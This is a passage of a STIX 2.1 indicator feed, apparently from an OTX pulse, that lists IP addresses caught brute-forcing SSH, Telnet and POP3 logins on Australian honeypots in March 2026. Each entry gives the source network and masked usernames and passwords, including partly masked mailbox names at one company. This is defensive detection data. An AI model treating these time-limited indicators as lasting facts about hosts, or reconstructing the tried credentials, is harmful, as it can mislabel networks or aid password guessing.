      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EG. ASN(s): 36992. Organisation(s): Etisalat Misr. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******c, 1*******@, 3******@.",
      "id": "indicator--ce2bdeec-11e3-4a45-a569-ad47a7f57659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.236.187.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GH. ASN(s): 29614. Organisation(s): VODAFONE GHANA AS INTERNATIONAL TRANSIT. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******t, 3***********4, 3**********4, L*******1, P******d.",
      "id": "indicator--eb050581-12ad-446a-b67a-c0b0d49396d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.251.195.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 152194. Organisation(s): CTG Server Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 8**8, A*******4, B********3.",
      "id": "indicator--0af93769-4fb1-4ca0-8574-f3fa0d54c2f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '202.61.136.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T07:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 86. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A************, A********#, B********3.",
      "id": "indicator--be7c32ae-4e11-4366-a715-a6b2f20e30fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T07:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.178.141.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T07:15:02.000Z",
      "valid_until": "2026-04-04T07:15:01.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36903. Organisation(s): MT-MPLS.",
      "id": "indicator--1764d159-a073-403e-ac5f-e6431129beff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.158.233.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, r**t.",
      "id": "indicator--4696b359-2bf1-420a-8c55-24d6870da85d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '107.170.39.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 188. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*****3, a**********1, a********5.",
      "id": "indicator--a8cdaafb-a8f8-4cd3-9727-bce1d8282e0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.96.141.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9583. Organisation(s): Sify Limited. Usernames observed (masked): r**t. Passwords observed (masked): x******6.",
      "id": "indicator--ff1f64c1-71e5-48d7-bc6d-07d1e6b0375a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.7.227.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--0ba1d591-1ed4-4ea5-b357-4c2f71cb03fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.205.192.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r, a*****e, a****e, b****p. Passwords observed (masked): 1****6, P******d, l*****n, p******d, p******d.",
      "id": "indicator--0fc17560-2b7d-4476-b872-824e1efcf829",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.122.111.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t. Passwords observed (masked): P******d.",
      "id": "indicator--a2b57574-ba7d-448b-a4b9-3f3dd2c269dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.251.213.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d.",
      "id": "indicator--4c44cf5a-53fb-4f0d-ac1d-e1404b1c6038",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.92.150.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): A********$.",
      "id": "indicator--1e2775d4-737d-4554-8c11-6c4c3ec3b13d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.22.80.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BW. ASN(s): 14988. Organisation(s): BTC-GATE1. Usernames observed (masked): r**t. Passwords observed (masked): 1*******0.",
      "id": "indicator--9b50c1fd-db78-4128-b3d8-1cc32771ce56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.167.228.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 31263. Organisation(s): Mynet S.r.l.. Usernames observed (masked): r**t. Passwords observed (masked): A******s.",
      "id": "indicator--ecd36889-1ff2-4f07-bd23-50dfcf7752b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.175.222.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*****3, a**********1, a********5.",
      "id": "indicator--5804d2cd-f406-4dcb-9b69-95c5d576c263",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.88.55.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--b559b1bc-c80c-4060-801d-e5415da326e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.233.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): Q*******3.",
      "id": "indicator--e55091b1-d117-4bf9-883c-c02c02b6774b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.139.88.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 79. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, a******4, c***d, q*******^.",
      "id": "indicator--c3cc0e97-cbe7-40ea-8ee9-51b2b32ec2e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.230.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 206926. Organisation(s): Letit LLC.",
      "id": "indicator--910995b3-ba10-4600-b2cc-1d0f6b4cfe31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.228.113.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f2e0d695-1efb-4872-9903-6dc590872055",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.250.80.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**8, 1*******y, 3***********4, 3**********4, B********3.",
      "id": "indicator--356965a8-cc6e-4705-8ec5-10cb419b6f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.222.211.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T08:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NG. ASN(s): 29091. Organisation(s): IPNXng. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******3, 3***********4, 3**********4, 7******I, B********3.",
      "id": "indicator--ffdf6ac7-8697-4902-9a09-aa43c520e26d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T08:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '62.173.38.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T08:15:13.000Z",
      "valid_until": "2026-04-04T08:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): 3***********4, ***, W********., s*********3.",
      "id": "indicator--cfd3aa87-98de-4d25-bca6-27cab2e8158f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.141.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 3***********4, 3**********4, ***, B******6.",
      "id": "indicator--d3d7040a-4d20-4c12-abe7-af2344a6d3de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.186.1.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 276. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 133824. Organisation(s): Universitas Islam Negeri Alauddin Makasar. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******d, 1*******0, 1****0.",
      "id": "indicator--738240fe-241d-4b17-b490-d92403e5c6e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.55.216.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group.",
      "id": "indicator--0ed1d7dc-6f44-407a-a923-edbac969af08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.105.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): S******2, **.",
      "id": "indicator--d4d0df02-4e06-46d9-b4b9-b97faa667f50",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.114.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1******2, 1******@, 3***********4, 3**********4, B********3.",
      "id": "indicator--d702adde-cad3-4378-8d70-d00436d2e8fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.126.219.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, r**t.",
      "id": "indicator--5892e964-9072-4566-8dcd-83f897fe0203",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.245.105.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********Y, 3***********4, 3**********4, S******6.",
      "id": "indicator--a075cd20-6289-41c8-bc7c-cdaf53ec5361",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '163.44.112.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--e9e91ba6-41c7-41d4-bdfa-cfc865774c07",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.26.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): s******g@bardengineering.com. Passwords observed (masked): B*****************4.",
      "id": "indicator--dbe23c08-c0f8-4d56-b990-815d015b335c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T09:15:13.000Z",
      "valid_until": "2026-04-04T09:15:12.000Z"
    },
    {
      "created": "2026-03-03T09:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): n***********s@bardengineering.com. Passwords observed (masked): b*************g.",
      "id": "indicator--5868af3f-fc8c-46c6-9178-c2594609d9ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T09:15:13.000Z",
